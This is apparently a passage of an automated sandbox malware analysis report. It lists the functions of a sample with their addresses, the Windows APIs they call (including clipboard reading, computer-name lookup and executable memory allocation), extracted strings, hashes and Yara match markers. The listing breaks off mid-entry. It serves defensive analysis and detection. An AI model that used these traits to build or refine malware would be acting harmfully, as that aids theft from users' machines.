Instruction Fuzzy Hash: 76519BB52483019BE718CF14C890B6FB7F1EB89748F24981DE5E59B391D378E815CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00438879 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction ID: e35f2d1fee80e2f1db852cb22d8b1dde2544e3ec87f29d33cf979d87121eb95b
Opcode Fuzzy Hash: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction Fuzzy Hash: E64148B4210B008BD729CF15C890B27F7F2FF49315F589A1DD4968BA95CB78E4168B89

Uniqueness

Uniqueness Score: -1.00%

Function 00437998 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction ID: c35e6b3492bc7fc63c5e4d94200a91186c139317177be3ffd343f9b61624e557
Opcode Fuzzy Hash: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction Fuzzy Hash: 4E5156B0244B008FE3348F15C894B17B7F2EB49318F649A1DD4A29BB95C778F9058B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041210C Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction ID: ca850fd041728cb81bae71f088373bc471964c8ad35e0faae0c370fe9a2fbc17
Opcode Fuzzy Hash: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction Fuzzy Hash: 5831B271A00B018FC725CF35C8817A7B7E2FB89314F188A2ED1AAC3791E778E4818B45

Uniqueness

Uniqueness Score: -1.00%

Function 00410565 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction ID: ea6735051b580764b1b091c7d8751f59caf218b0077db567d50405ba04e5f90f
Opcode Fuzzy Hash: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction Fuzzy Hash: 8CE092397006004BC658AB30D89267B736397C6300F0C143CD447A33A2CE78B8818A49

Uniqueness

Uniqueness Score: -1.00%

Function 004286B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction ID: fb33a21c909e12981a6b8ef3dc275bf6d2761d5d6d7fe25341320a66258a9d40
Opcode Fuzzy Hash: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction Fuzzy Hash: 1BF0AC745093408FC324DF25C55575ABBF0FB8D304F81892DD59A8B291D778A904CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0366003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0366024D

Strings

cess, xrefs: 0366018D
kernel32.dll, xrefs: 0366008F, 03660095

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: e7150b545fa17ae094011e4b8d82518122b3f7518f6db7d0b69393013bb7b6b0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 5A526974A05229DFDB64CF58C984BACBBB1BF09304F1480E9E94DAB351DB30AA95CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00427D72

Strings

!, xrefs: 00427C6B
;, xrefs: 00427C8B
6, xrefs: 00427C9B
:, xrefs: 00427C4B
3, xrefs: 00427C3B
%, xrefs: 00427C7B

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: AllocString
String ID: !$%$3$6$:$;
API String ID: 2525500382-3001093237
Opcode ID: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction ID: 1a39169d67010728743755bad08802f9e09bd0e4855d95ec92bb4768922a02a3
Opcode Fuzzy Hash: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction Fuzzy Hash: E641353010C7C58AD33ACA28C4997DFBFE25BD6314F084A5CE1E94A2C2C3B9464AC757

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041E7CB
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041E7FA

Strings

mz, xrefs: 0041E820
JE, xrefs: 0041E72B
N, xrefs: 0041E828

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction ID: d4eb9d248d4042ffda66fec7adb5be2df31ff8f7ed8dd41437f0ba620aed1879
Opcode Fuzzy Hash: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction Fuzzy Hash: BB5151B4108341AFD310CF02C895B4BBBE5EBC6754F108E1DF8A45B391D779D9858B96

Uniqueness

Uniqueness Score: -1.00%

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: ComputerName
String ID: <VXp
API String ID: 3545744682-3522128999
Opcode ID: e743a169ea2902eafdc4449de3a8d740bc74c27e057faf3ba4350a9c54c0918c
Instruction ID: 6299c964a3fce0bafc53ea5c8286f28257e6a63a241fb0224b927437de5add70
Opcode Fuzzy Hash: e743a169ea2902eafdc4449de3a8d740bc74c27e057faf3ba4350a9c54c0918c
Instruction Fuzzy Hash: DC32FE70204B918AE725CF34C8647E3BBE1EF57309F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID: <VXp
API String ID: 0-3522128999
Opcode ID: 3d1eadc721c2008c23e9f24f1373b4fb6894963d5a0ae106d2798fc5ea866275
Instruction ID: 39380498e3301fda940bb2c750f98dbafe3cac41602dcf564c309bbfc5931e86
Opcode Fuzzy Hash: 3d1eadc721c2008c23e9f24f1373b4fb6894963d5a0ae106d2798fc5ea866275
Instruction Fuzzy Hash: C822FF70204B918AE725CF34C8647E3BBE1EF57305F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

zrHu, xrefs: 00425BB0
(VDn, xrefs: 00425BA6

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID:
String ID: (VDn$zrHu
API String ID: 0-2980758696
Opcode ID: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction ID: 6abb5f54dd02d2df8b74713aa4eba05006bae67069e8e73d66e3ac6d0c001b4f
Opcode Fuzzy Hash: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction Fuzzy Hash: 67F18A70604F808BE726CF35C4A47E7BBE1AF56304F88495EC4EA9B792C779A406CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0042E3EF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SelectObject.GDI32 ref: 0042E437
SelectObject.GDI32 ref: 0042E4B9

Strings

, xrefs: 0042E486

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: 64c2dd33f56547eeba0a9756c00d89cd855ce22edeb25e2eb396533884e40186
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: 7D515CB8605B008FC364DF28D595A16BBF1FB89300F508A6DE98A8BB60D731F845CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00408DF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00408E60

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 00408E26

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction ID: 2fd8b006e3b76f4afec7b1faa4642abc4b02275d11bc394f33c7f760dc90e6d3
Opcode Fuzzy Hash: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction Fuzzy Hash: 8BF06D7040C601CAD600BB61C705269B7A06F14328F20593FE8CAE12C0DF3C8486AADF

Uniqueness

Uniqueness Score: -1.00%

Function 00437E48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 00437FA3

Strings

gRI, xrefs: 00437F00

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: LibraryLoad
String ID: gRI
API String ID: 1029625771-894747221
Opcode ID: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction ID: 2a4b3bc33ec7130f718fa133b8f83357076008803d7a7ff669a68a4f6503176c
Opcode Fuzzy Hash: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction Fuzzy Hash: 734118B41047428BD328CF29C590B13FBB1BF49304F189A9DD4928FB56C334E58ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 004241EB Relevance: 3.6, APIs: 2, Instructions: 582COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 1f23ffd4f3a1f205ec88415d23135b01460f0b8e527f7f54bb5290218a095678
Instruction ID: 15930a0e3456c2de96117bffaec9bf70862991a15f3db32a0408bad3ef46fb91
Opcode Fuzzy Hash: 1f23ffd4f3a1f205ec88415d23135b01460f0b8e527f7f54bb5290218a095678
Instruction Fuzzy Hash: DC22BD70204B918BE725CF34C8947E3BBE1AF56304F98495ED4EB9B782C779A406CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435AA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00435B47

Strings

f543, xrefs: 00435B08

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: AllocateHeap
String ID: f543
API String ID: 1279760036-424919641
Opcode ID: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction ID: 06c2186eef59e94b595ca09588689556934a3fe7b1df8413d19f3e3cff029a90
Opcode Fuzzy Hash: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction Fuzzy Hash: 3D1148741083019FD708CF14C464B6BBBA2EBC5328F248A1CE8A50B791C77AD915CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00433D05 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00433D3A

Strings

\, xrefs: 00433D05

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: InformationVolume
String ID: \
API String ID: 2039140958-2967466578
Opcode ID: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction ID: 4293fc51c427d059e8a1900740c0d841a4927f035155755a6a86f4fc830b078c
Opcode Fuzzy Hash: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction Fuzzy Hash: 7FE04F75285701BBF328CF10ED23F2A32A59B45B05F20442DB306EA1D1D7B4B915CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE00 Relevance: 3.2, APIs: 2, Instructions: 215COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041DF31

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction ID: 7cd1955bb7ff4877b61add733c5008b9238defc5a30e4e77b50cb4d3de39835c
Opcode Fuzzy Hash: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction Fuzzy Hash: 21619D756083518FE324CF15C890BABB7E1EFCA318F014A1DE8D95B281D7789A46CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0042DFB8 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E066
GetSystemMetrics.USER32 ref: 0042E077

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction ID: ec370dcdc0dee2e7242882cc56310c6ee9e1b245d348888234485e317814ae48
Opcode Fuzzy Hash: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction Fuzzy Hash: 0A515DB4A10B009FD364DF2DD981A26BBF5FB49704B10492DE98AC7B60D631F845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 03660E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,03660223,?,?), ref: 03660E19
SetErrorMode.KERNELBASE(00000000,?,?,03660223,?,?), ref: 03660E1E

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a590b6b6a082a98aa6c540ae41dd6e7864ea834954d427f66d0f00586976648e
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BFD0123154512877D7002A94DC09BCDBB1CDF05BA2F048021FB0DD9180C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004394EC Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00439575

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction ID: 1d8b2ebf96d1ba174666c76c8533ac1a669530b6b8cb3b7a98fa5c82265e6ac1
Opcode Fuzzy Hash: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction Fuzzy Hash: 7801D7701083409FE318CF10D464B6FFBE1EBC5728F209A1DE4A91B681C3B9D959CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041860C Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418638

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction ID: eb8c1c7914f9d0c13229cf9ff11979a1d61f9c5fd9cbf3551faf471138ca6978
Opcode Fuzzy Hash: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction Fuzzy Hash: 1CF02EBA900200AFDA20DF25CC05E2337A8EB85324B00882DF26BC3291EB30E410DB04

Uniqueness

Uniqueness Score: -1.00%

Function 01CDF3B5 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 01CDF406

Memory Dump Source

Source File: 00000000.00000002.2347953549.0000000001CDE000.00000040.00000020.00020000.00000000.sdmp, Offset: 01CDE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cde000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b539977baba36c15a6d58fcb3bcab84d9101f467a47ddbf9b11fa6f2076336b0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: BF113C79A00208EFDB01DF98C985E98BFF5AF08350F058094FA489B361D371EA51EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042D8F0 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0042D94C
OpenClipboard.USER32 ref: 0042D95E
GetClipboardData.USER32 ref: 0042D97D
CloseClipboard.USER32 ref: 0042DAAF

Strings

c, xrefs: 0042D9E5
n, xrefs: 0042DA01
b, xrefs: 0042D9ED
c, xrefs: 0042DA05
a, xrefs: 0042D9F5
l, xrefs: 0042DA09

Memory Dump Source

Source File: 00000000.00000002.2347065263.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2347065263.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qrLdMv1QXG.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: a$b$c$c$l$n
API String ID: 2278096442-2118919457
Opcode ID: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction ID: f32526a2b7493747e302e038e132543e99afde457dca7fc2a9710eba875402e9
Opcode Fuzzy Hash: 64775b5eaf4b6f3b9d3a5648747dfa61d183d83a94ea54748d631ebe41212b84
Instruction Fuzzy Hash: 26517EB0908B80CFC720DF38D485A16BBF1AB15314F148A6DE8D68B796D739E446CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0367591D Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0367595F
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 03675995
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,00000000,?), ref: 03675CBF
RtlExpandEnvironmentStrings.NTDLL(00000000,2F8B2D9A,?,00000000,?,?), ref: 03675D04

Strings

VSB, xrefs: 03675B25

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: VSB
API String ID: 237503144-2654250299
Opcode ID: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction ID: 3fd73c3428d252053624418beb53426fb198ed28de869f08c72251dad90f1919
Opcode Fuzzy Hash: 42af359a222c5161f70fb859cd19a903b14d8ab4fd0dfb036164610f8498505b
Instruction Fuzzy Hash: CEF17DB5600B01AFD724CF29C852B63BBF5FF4A314F144A1DE9AA8B790E371A411CB95

Uniqueness

Uniqueness Score: -1.00%

Function 036862FE Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

A^Y[, xrefs: 03686D5A
kJMO, xrefs: 03686E47
7452, xrefs: 03686992
UUC\, xrefs: 03686D61
MVVS, xrefs: 03686D4C

Memory Dump Source

Source File: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, Offset: 03660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3660000_qrLdMv1QXG.jbxd

Yara matches

Similarity

API ID:
String ID: 7452$A^Y[$MVVS$UUC\$kJMO
API String ID: 0-3157732848
Opcode ID: 51c6cde8dcc7a1be757b1ed525c51b1aa33e02d0a10d7dd1540fe752d178b760
Instruction ID: c09383218bcc04ade307ac501098cf32ae89f297decd9734188f73c6a616773b
Opcode Fuzzy Hash: 51c6cde8dcc7a1be757b1ed525c51b1aa33e02d0a10d7dd1540fe752d178b760
Instruction Fuzzy Hash: DA52AB70504B818BD339CF29C194766FBE2BF5A304F584A2DC6E78BB91C775A40ACB54

Uniqueness

Uniqueness Score: -1.00%

Function 00426097 Relevance: 7.1, Strings: 5, Instructions: 837COMMON

Download Yara Rule

Strings

